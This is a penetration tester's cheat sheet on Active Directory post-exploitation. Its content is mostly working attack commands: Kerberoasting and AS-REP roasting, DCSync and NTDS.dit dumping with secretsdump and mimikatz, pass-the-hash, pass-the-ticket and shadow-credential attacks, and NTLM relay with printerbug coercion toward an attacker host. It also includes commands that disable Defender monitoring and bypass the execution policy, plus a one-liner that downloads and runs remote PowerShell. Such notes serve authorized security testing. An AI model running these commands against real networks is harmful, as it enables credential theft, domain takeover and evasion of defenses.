6 - Post-Exploitation

Active Directory

Notes

Authentication Protocol Selection

MethodAuthentication ProtocolEncryptionLimitations
IP Address (e.g., 192.168.1.10)NTLMRC4, NTLMv2No Kerberos support, may be blocked by policies, more logging/alerting
Hostname/FQDN (e.g., DC01.cooldomaininc.local)Kerberos (TGT/TGS)AES-128, AES-256, RC4Requires DNS resolution, subject to Kerberos delegation restrictions (Double Hop problem)

Domain Enumeration

# Get Domain Info
net config workstation
ipconfig /all
echo %USERDOMAIN%
echo %LOGONSERVER%
(Get-WmiObject Win32_ComputerSystem).Domain
systeminfo | findstr /i domain

User Enumeration (Kerbrute)

“A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication”

See more about… User Enum

Source: Docs > 5 - Exploitation > password#user-enum

User Enum

All of these use anonymous sessions, but credentials can be tried as well.

# via enum4linux-ng (this uses RPC)
enum4linux-ng -U <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"

# via RPC
rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt

# via SMB
netexec smb <TARGET> --users

# via LDAP anon bind
# https://linux.die.net/man/1/ldapsearch
# Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

# Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication
# LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
# for <WORDLIST>: wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>
# Use a userlist
wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt

# AD Username Brute-Force
kerbrute userenum --dc <DC_IP> -d <DOMAIN_NAME> <USERNAME_LIST>

Find High Value Users

# via SMB
nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"
# via LDAP
# gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count

AD Enumeration

BloodHound

BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.

Pre-Requisites

# Start and reset password for BloodHound via Docker
bloodhound-cli check
bloodhound-cli up
bloodhound-cli resetpwd

Collecting Info

# Bloodhound/SharpHound - AD Mapping
powershell -ep bypass
Import-Module .\Downloads\SharpHound.ps1    
Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN> 
# - OR

# SharpHound.exe alternative
.\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>

Uploading Info

  • Transfer Bloodhound data to attacker
  • Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
  • Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest

Analysis and Queries

# Search Box >

domain:<DOMAIN>

### Pre-Built Queries
# Domain Info > Analysis >

# Out-of-date Computers (for Exploits)
Find Computers with Unsupported Operating Systems

# Find Logged-In/Cached Domain Admins
Find Computers where Domain Users are Local Admin

PowerShell

# Look for module (typically only on DC and some servers)
Get-Module -ListAvailable ActiveDirectory

# Import AD Module
Import-Module ActiveDirectory

# Basic domain info
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addomain?view=windowsserver2022-ps
Get-ADDomain

# Search for Kerberoastable accounts (requires Domain user)
# (request a TGS for a service in an attempt to crack the service's password, which its hash is used to encrypt the TGS)
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2022-ps
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# Verify domain trust relationships
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adtrust?view=windowsserver2022-ps
Get-ADTrust -Filter *

# Group Enumeration
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps
Get-ADGroup -Filter * | select name
Get-ADGroup -Identity "<GROUP_NAME>"
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroupmember?view=windowsserver2022-ps
Get-ADGroupMember -Identity "<GROUP_NAME>"

PowerView (deprecated)

Although “dated” code-wise and heavily flagged by Security Products the underlying LDAP queries have not changed, and it is still functional.

# Enum users
# https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainUser/
Get-DomainUser -Identity <USER> -Domain <DOMAIN> | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol

# Enum Domain Admins
# https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainGroupMember/
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Enum Domain Trusts
Get-DomainTrustMapping

# Test Admin access locally or remotely
# https://powersploit.readthedocs.io/en/latest/Recon/Test-AdminAccess/
Test-AdminAccess -ComputerName <MACHINE>

# Kerberostable accounts
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

SharpView

.NET port of PowerView… usually has same functions and syntax. Useful when a host or network has PowerShell hardening.

Living Off the Land (Native Binaries)

Typically, these log less and not flagged as much as pulling external tools. Especially in offline or segmented environments these can be more useful.

See more about… Windows Defender, Windows Firewall

Source: Docs > 6 - Post-Exploitation > security-products#windows-defender

Windows Defender

# Check WinDefend service
sc.exe query windefend

# Check Status
Get-MpComputerStatus

# Enable WinDefend
Set-MpPreference -DisableRealtimeMonitoring $false
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"

# Disable WinDefend realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

Source: Docs > 6 - Post-Exploitation > security-products#windows-firewall

Windows Firewall

# Show state of all profiles
netsh advfirewall show allprofiles
# Add Firewall Exception
netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>

Initial Survey

DOS Version

# Am I Alone??
quser
qwinsta

# All-in-1 Info Command
systeminfo

# Hostname, Domain, DC, net interfaces, env vars
hostname
echo %USERDOMAIN%
echo %logonserver%
ipconfig /all
set
# OS Version
ver.exe
# Security Patches (Hotfixes)
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Network Information
ipconfig /all
arp -a
route print
netstat -anob
netsh advfirewall show allprofiles

WMI Version

# Basic Host Info
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List

# Basic Domain Info
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

# Security Patches
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Process List
wmic process list /format:list

# Domain and DC Info
wmic ntdomain list /format:list

# Users on the Domain
wmic useraccount list /format:list

# Local Groups Info
wmic group list /format:list

# System Accounts Info
wmic sysaccount list /format:list

net Version

These could be potentially heavily monitored. Try net1 instead of net will execute the same functions without the potential trigger from the net string.

# Information about password requirements
net accounts

# Password and lockout policy
net accounts /domain

# Information about domain groups
net group /domain

# List users with domain admin privileges
net group "Domain Admins" /domain

# List of PCs connected to the domain
net group "Domain Computers" /domain

# List PC accounts of domains controllers
net group "Domain Controllers" /domain

# User that belongs to the group
net group <DOMAIN_GROUP> /domain

# List of domain groups
net groups /domain

# All available groups
net localgroup

# List users that belong to the administrators group inside the domain
net localgroup administrators /domain

# Information about a group (admins)
net localgroup Administrators

# Add user to administrators
net localgroup administrators <USER> /add

# Check current shares
net share

# Get information about a user within the domain
net user /domain <USER>

# List all users of the domain
net user /domain

# Information about the current user
net user %username%

# Mount the share locally
net use Z: \\<TARGET>\<SHARE>

# Get a list of computers
net view

# Shares on the domains
net view /all /domain[:<DOMAIN>]

# List shares of a computer
net view \\<TARGET> /ALL

# List of PCs of the domain
net view /domain

dsquery Version

Native tool to find AD objects. Only exists on hosts installed with Active Directory Domain Services Role and at C:\Windows\System32\dsquery.dll.

# Query all users or computers
dsquery user
dsquery computer

# Query filter for all users in a Domain
dsquery * "CN=Users,DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>"

# Users With Specific Attributes Set (PASSWD_NOTREQD)
# 1.2.840.113556.1.4.803:=32 means PASSWD_NOTREQD must be set
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

# Search DCs in Current Domain
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

# Search disabled accounts
dsquery * -filter "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=2)(adminCount=1)(description=*))" -limit 5 -attr SAMAccountName description
User Account Control Bit Values

User Account Control Bit Values

PowerShell Version

See more about… Bypass Execution Policy

Source: Docs > 6 - Post-Exploitation > security-products#bypass-execution-policy

Bypass Execution Policy

# Get Current PS Execution Policy
Get-ExecutionPolicy -List

# Override
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
# Pull any other tools via HTTP
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>');"

Access Control List (ACL)

  • ObjectAceType Permissions: https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights

  • ForceChangePassword abused with Set-DomainUserPassword

  • Add Members abused with Add-DomainGroupMember

  • GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember

  • GenericWrite abused with Set-DomainObject

  • WriteOwner abused with Set-DomainObjectOwner

  • WriteDACL abused with Add-DomainObjectACL

  • AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember

  • AddSelf abused with Add-DomainGroupMember

Top ACL Attacks

  • ForceChangePassword - gives us the right to reset a user’s password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
  • GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
  • AddSelf - shows security groups that a user can add themselves to.
  • GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.
ACL Attacks

by https://x.com/_nwodtuhs

Enumerating ACLs of User

BloodHound

  1. Select starting node user
  2. Select Node Info > Scroll to Outbound Control Rights
  3. First Degree Object Control
    1. Right-Click edge > Help for more info
  4. Transitive Object Control
  5. Analysis > Dangerous Rights

PowerView

# Enum ACLs of User
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid <USER>
# Pay Attention to ObjectAceType and ActiveDirectoryRights
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} -Verbose

# Get Group Membership of User
Get-DomainGroup -Identity "<GROUP>" | select memberof

REPEAT Get-DomainObjectACL of Group

Manual

WARNING: These commands are very slow

# Create list of Domain Users
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
# Iterate over users to find filtered ACL
foreach($line in [System.IO.File]::ReadLines(".\ad_users.txt")) {get-acl  "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match '<DOMAIN>\\<USER>'}}

# Manually resolve ACL (ObjectAceType) GUIDs
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq "<GUID>"} | fl

Checking Access Rights

Remote Desktop

# Check if machine is RDP-able
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -GroupName "Remote Desktop Users" -ComputerName <COMPUTER_NAME>
  • BloodHound CanRDP:
    • Search for User > Node Info > Execution Rights
    • Analysis
      • Find Workstations where Domain Users can RDP
      • Find Servers where Domain Users can RDP

WinRM

# Check if machine is WinRM-able
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -GroupName "Remote Management Users" -ComputerName <COMPUTER_NAME>
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

SQL

# Enumerate MSSQL instances on the domain
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain

Get-SQLQuery -Verbose -Instance "<TARGET>,1433" -username "<DOMAIN>\<USER>" -password "<PASSWORD>" -query 'Select @@version'
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:'<PASSWORD>'@<TARGET>
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

Domain Misconfigurations

DNS Record Enumeration (adidnsdump)

Resolves hidden records in the DNS zone that standard enumeration misses.

# Dump all DNS records (Authenticated)
adidnsdump -vr -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP>

# Resolve unknown records (A Query)
adidnsdump -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP> -r

User Attributes Mining

Hunting for passwords in descriptions and weak account configurations.

# Find Passwords in Description Field
Import-Module .\PowerView.ps1
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}

# Find PASSWD_NOTREQD Accounts
# Users not subject to password policy length (potential blank passwords)
# https://ldapwiki.com/wiki/Wiki.jsp?page=PASSWD_NOTREQD
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

SYSVOL & Group Policy Passwords

Searching for hardcoded credentials in scripts and registry preferences.

# 1. Manual Check (PowerShell)
ls \\<DC_NAME>\SYSVOL\<DOMAIN>\scripts

# 2. Automated Hunt (NetExec) - GPP Autologin & Registry
nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_autologin
nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_password

Printer Bug Enumeration (Spooler Service)

Checks if the Print Spooler is running on the DC (required for coercion attacks like PetitPotam/PrinterBug).

# SecurityAssessment.ps1
git clone https://github.com/itzvenom/Security-Assessment-PS && cd Security-Assessment-PS
Import-Module .\SecurityAssessment.ps1
Get-SpoolStatus -ComputerName <DC_FQDN>

Exchange Privilege Escalation

Abusing Exchange Windows Permissions group.

Reference: https://github.com/gdedrouas/Exchange-AD-Privesc

Getting Access Credentials

Kerberoasting (cracking TGS)

Kerberoasting involves any valid domain user requesting a Ticket Granting Service (TGS) for an SPN. The TGS is encrypted with the service’s NTLM password hash, which if a human-readable password was set, can be cracked to reveal a password. The service is often times a local administrator. The key point is this technique must use password cracking to reveal the password; otherwise, only the TGS and an authorized user can access the service . Hence, an uncrackable password will prove fruitless. One must have 1 of the following:

  • an account’s cleartext password or NTLM hash
  • a shell in the context of a domain user account (Kerberos ticket)
  • SYSTEM level access on a domain-joined host

TGS Encryption Types

Encryption TypeHashcat ModeHash FormatNotes
RC413100$krb5tgs$23$*Most common in most environments. Type 23 encrypted ticket.
AES-12819600$krb5tgs$17$*Type 17 encrypted ticket.
AES-25619700$krb5tgs$18$*Sometimes received. Type 18 encrypted ticket.

Linux

Impacket GetUserSPNs

# Enum users and collect tickets
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER>
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile spn_tickets.txt

Crack TGS

# Crack TGS
hashcat -m <HASHCAT_MODE> spn_tickets.txt <WORDLIST>

# Verify via netexec
netexec smb <DC_IP> -u <USER> -p <PASSWORD>

Windows

via Rubeus

# Show Kerberoastable info
.\Rubeus.exe kerberoast /stats

# Show Kerberoastable admins
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

# Kerberoast User
# NOTE: /tgtdeleg attempts to force RC4 enc
.\Rubeus.exe kerberoast /nowrap /tgtdeleg /user:<USER>

NOTE: This RC4 downgrade does not work against a Windows Server 2019 Domain Controller. It will always return a service ticket encrypted with the highest level of encryption supported by the target account

via PowerView

# Enumerate SPN Accounts
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname,description
# Get TGS for User
Get-DomainUser -Identity <USER> | Get-DomainSPNTicket -Format Hashcat
# Get ALL TGS
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv -NoTypeInformation .\<OUTFILE>

via Manual Method

# REQUIRED: declare new type
Add-Type -AssemblyName System.IdentityModel

# Request and load all TGS for all SPNs into memory
# NOTE: these will need to be dumped from memory
setspn.exe -T <DOMAIN> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

# Dump TGS from memory
.\mimikatz.exe
base64 /out:true
kerberos::list /export

# Format Base64 TGS
echo '<TGS_BASE64>' | tr -d \\n | base64 -d > vmware.kirbi
kirbi2john vmware.kirbi > crackme.txt

Reference: Crack TGS

AS-REP Roasting

Windows

# Enumerate Vulnerable Users (PowerView)
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

# Roast Specific User (Rubeus)
.\Rubeus.exe asreproast /nowrap /format:hashcat /user:<USERNAME>

Linux

# Linux Alternative (Kerbrute)
# Brute-force users AND auto-check for AS-REP Roasting
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <USERLIST>

DCSync

Steals the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data, allowing an attacker to mimic a DC to retrieve user NTLM password hashes.

Output Filessecretsdump ContentPrimary Use Case
.ntdsNTLM Hashes.
Format: User:RID:LM:NT:::.
Pass-the-Hash, Offline Cracking (Hashcat Mode 1000).
.ntds.kerberosKerberos Keys (AES-256, AES-128, DES).Golden Tickets (requires krbtgt AES key), Pass-the-Key (if NTLM is disabled).
.ntds.cleartextPlaintext Passwords.
Only appears for users with “Store password using reversible encryption” enabled.
Direct Login (RDP, WinRM). Rare but critical finding.

Enum via PowerView

# Pay Attention to objectsid
Import-Module .\PowerView.ps1
Get-DomainUser -Identity <USER> | select samaccountname,objectsid,memberof,useraccountcontrol | fl

# Look for DS-Replication-Get-Changes-All
Get-ObjectAcl "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match "<SID>"} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Attack via Impacket

Remember this user must have the permissions stated above.

  • -just-dc-ntlm: Extract only NTLM hashes (skips Kerberos keys).
  • -just-dc-user <USERNAME>: Extract data for a specific user only.
  • -pwd-last-set: Display when the account’s password was last changed.
  • -history: Dump password history (useful for cracking patterns).
  • -user-status: Display if the account is Enabled or Disabled.
# NOISY: Dump All
impacket-secretsdump -outputfile dcsync_hashes -just-dc <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

# QUIETER: dump krbtgt for Golden Tickets
impacket-secretsdump -outputfile dcsync_hashes -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

Attack via mimikatz

See more about… DCSync

Source: Docs > 9 - Notes > mimikatz#dcsync

DCSync

Might require runas.

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>" exit

Get NTDS.dit (keys of the kingdom)

# Copy NTDS.dit
# NOTE: hashes in NTDS are encrypted with DPAPI key in SYSTEM
vssadmin list shadows
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<NUM>\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

# Download it and impacket-secretsdump
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
# Same as above but easier
netexec smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil

Escalating and Pivoting

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Preparation

# Extract AES Keys
.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

Option A: Mimikatz (Process Injection)

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Option B: Rubeus (Request & Inject)

# Requests a TGT from the KDC and immediately injects it (/ptt)
# Can use /rc4 (NTLM), /aes128, or /aes256
.\Rubeus.exe asktgt /ptt /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY>

Pass the Ticket (PtT)

Windows

Mimikatz

# 1. Export tickets from memory to .kirbi files
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
# $ : machine tickets (computers)
# @ : service tickets (users)

# 2. Inject Ticket
.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>" "misc::cmd" exit

Rubeus

# Enumerate tickets currently in session
.\Rubeus.exe triage

# Export tickets to base64 (for copy-paste)
.\Rubeus.exe dump /nowrap

# Pass from File
.\Rubeus.exe ptt /ticket:"<TICKET_FILE.kirbi>"

# Pass from Base64 String
.\Rubeus.exe ptt /ticket:"<BASE64_STRING>"

# Convert File to Base64 (PowerShell Helper)
[Convert]::ToBase64String([IO.File]::ReadAllBytes("<TICKET_FILE.kirbi>"))

# Advanced: Extract & Pass John's ticket automatically (Regex One-Liner)
$raw = .\Rubeus.exe dump /user:john /nowrap | Out-String
$ticket = [Regex]::Match($raw, "(?s)Base64EncodedTicket\s*:\s*(.*)").Groups[1].Value.Trim() -replace "\s", ""
.\Rubeus.exe ptt /ticket:$ticket

Linux

klist
# Backup current keytab
cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) KEYTAB.BAK
# Use current keytab
export KRB5CCNAME=KEYTAB.BAK
# Enumerate AD information
# https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/windows_integration_guide/cmd-realmd
realm list

# Check for AD
grep -i "sss\|winbind\|ldap" /etc/nsswitch.conf
ps -ef | grep -i "winbind\|sssd"
env | grep -i krb5

# Find keytabs
sudo find / \( -iname '*keytab*' -o -iname '*.kt' \) -ls 2>/dev/null

# List cached Kerberos tickets
klist
# Backup current keytab
cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) current.kt.bak
# Use current keytab
export KRB5CCNAME=$(pwd)/current.kt.bak

# Extract hashes from keytab files
# https://github.com/sosdave/KeyTabExtract
python3 keytabextract.py <KEYTAB_FILE>

# Use keytab
# NOTE: not all cached keytabs are valid
ls -la /tmp/krb5cc*
cp -v <KEYTAB> $HOME/current.kt.bak
export KRB5CCNAME=$HOME/current.kt.bak

# Show keytabs
klist
# Use keytab
kinit -k '<NAME>'

smbclient //<TARGET>/C$ -k -no-pass -c 'ls'

Double Hop Problem

There’s an issue known as the “Double Hop” problem that arises when an attacker attempts to use Kerberos authentication across two (or more) hops. The issue concerns how Kerberos tickets are granted for specific resources. Kerberos tickets should not be viewed as passwords. They are signed pieces of data from the KDC that state what resources an account can access (e.g. a computer but not beyond that computer). When we perform Kerberos authentication, we get a “ticket” that permits us to access the requested resource (i.e., a single machine). On the contrary, when we use a password to authenticate, that NTLM hash is stored in our session and can be used elsewhere without issue.

Enumeration of the Problem

Use these commands to confirm you are in a “Double Hop” / Network Logon state where delegation is failing.

CommandOutput IndicatorMeaning
klistMissing krbtgt/DOMAINYou have no TGT. You cannot request tickets for other servers.
klistPresent HTTP/HostnameYou only have a service ticket for the current box.
mimikatzPassword : (null)LSASS has no cached credentials for your session.
dir \\DC01\C$Access is denied / Anonymous LogonThe target sees you as “Anonymous” because no creds were forwarded.

Mitigation Methods

Method 1: Pass Credential Object (Handout / Native)

Best for “Living off the Land” without uploading tools. Requires knowing the plaintext password.

# 1. Create the Credential Object
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $pass)

# 2. Execute command on the 2nd Hop using the Credential
Invoke-Command -ComputerName <MACHINE_NAME> -Credential $cred -ScriptBlock { Get-Process }

# 3. Or enter an interactive session
Enter-PSSession -ComputerName <MACHINE_NAME> -Credential $cred

Method 2: Register PSSession Configuration (Admin)

Requires Admin on the Jump Box. Sets up a permanent endpoint that auto-authenticates.

# 1. Register the Session (On Jump Box)
Register-PSSessionConfiguration -Name "<SESSION_NAME>" -RunAsCredential "<DOMAIN>\<USER>" -Force

# 2. Connect to it (From Attack/Start Box)
Enter-PSSession -ComputerName <MACHINE_NAME> -ConfigurationName "<SESSION_NAME>"

# 3. Verify
klist # You should now see the krbtgt ticket

Method 3: Rubeus / Overpass-the-Hash (Attacker / Modern)

Best if you have a Hash or AES Key. Injects a TGT into your current session, “fixing” the double hop instantly.

# 1. Inject a TGT using the hash (or AES key)
.\Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt

# 2. Verify
klist # You now have a krbtgt ticket

# 3. Pivot
ls \\<DC_NAME>\C$ # Works natively now

Method 4: Mimikatz PtH (Legacy / Risky in WinRM)

Mimikatz usually spawns a new window (which fails in WinRM). You must force it to run a command in the same console.

# /run:powershell might hang WinRM depending on the shell stability.
# Use Rubeus (Method 3) if possible.
mimikatz.exe "sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell" exit

Create Fake SPN

Create a fake SPN to Kerberoast a user. This will require proper enumeration and a vector to have the right privileges.

See more about… Change User Password via PowerView

Source: Docs > 6 - Post-Exploitation > nice-commands#change-user-password-via-powerview

Change User Password via PowerView

# Authenticate as privileged user
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

# Create NEW password of other account
$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force

# Set NEW password
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity <USER> -AccountPassword $newPassword -Credential $Cred -Verbose
# Add User to Group
Add-DomainGroupMember -Identity '<GROUP>' -Members '<USER>' -Credential $Cred -Verbose

# Remove User from Group
Remove-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Credential $Cred -Verbose

# Verify Group Membership or Removal
Get-DomainGroupMember -Identity "<GROUP>" | Select MemberName

# Authenticate
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$CredSPN = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

# Create SPN
Set-DomainObject -Credential $CredSPN -Identity <USER> -SET @{serviceprincipalname='<SPN_NAME>'} -Verbose

Cleanup

# Remove fake SPN
Set-DomainObject -Credential $CredSPN -Identity <USER> -Clear <SPN_NAME> -Verbose

Pass the Certificate (PtC)

Shadow Credentials Attack:

# https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/
# https://github.com/ShutdownRepo/pywhisker.git
git clone https://github.com/ShutdownRepo/pywhisker.git && cd pywhisker && pip3 install -r requirements.txt && cd pywhisker

# Get Certificate for user
python3 pywhisker.py --dc-ip <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' --target <NEW_USER> --action add
# creates .pfx file of <NEW_USER> and PFX password
# Intercept web enrollment requests
# https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
# NOTE: use https://github.com/ly4k/Certipy to find other templates
python3 -m venv venv
pip install git+https://github.com/fortra/impacket.git
hash -r
venv/bin/ntlmrelayx.py --adcs -smb2support --template KerberosAuthentication -t <WEB_ENROLL_SERVER>
# outputs *.pfx file

# Force arbitrary auth from <TARGET> to <ATTACKER> via printers
# e.g. DC => ATTACKER BOX
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
wget https://github.com/dirkjanm/krbrelayx/raw/refs/heads/master/printerbug.py
python3 printerbug.py <DOMAIN>/<USERNAME>:"<PASSWORD>"@<TARGET> <ATTACKER>

# PtC to get TGT
# https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py
git clone https://github.com/dirkjanm/PKINITtools.git ; cd PKINITtools ; python3 -m venv .venv ; source .venv/bin/activate ; pip3 install -r requirements.txt ; pip3 install -I git+https://github.com/wbond/oscrypto.git

# OPTIONAL: -pfx-pass from pywhisker.py
python3 gettgtpkinit.py -cert-pfx <PFX_FILE> -pfx-pass <PFX_PASS> -dc-ip <DC_IP> '<DOMAIN>/<USER>' <OUTPUT_TGT>
# gives <OUTPUT_TGT>

---

# Configure Kerberos
echo '<DC_IP> <DC_FQDN>' | sudo tee -a /etc/hosts
sudo cp -v /etc/krb5.conf /etc/krb5.conf.bak
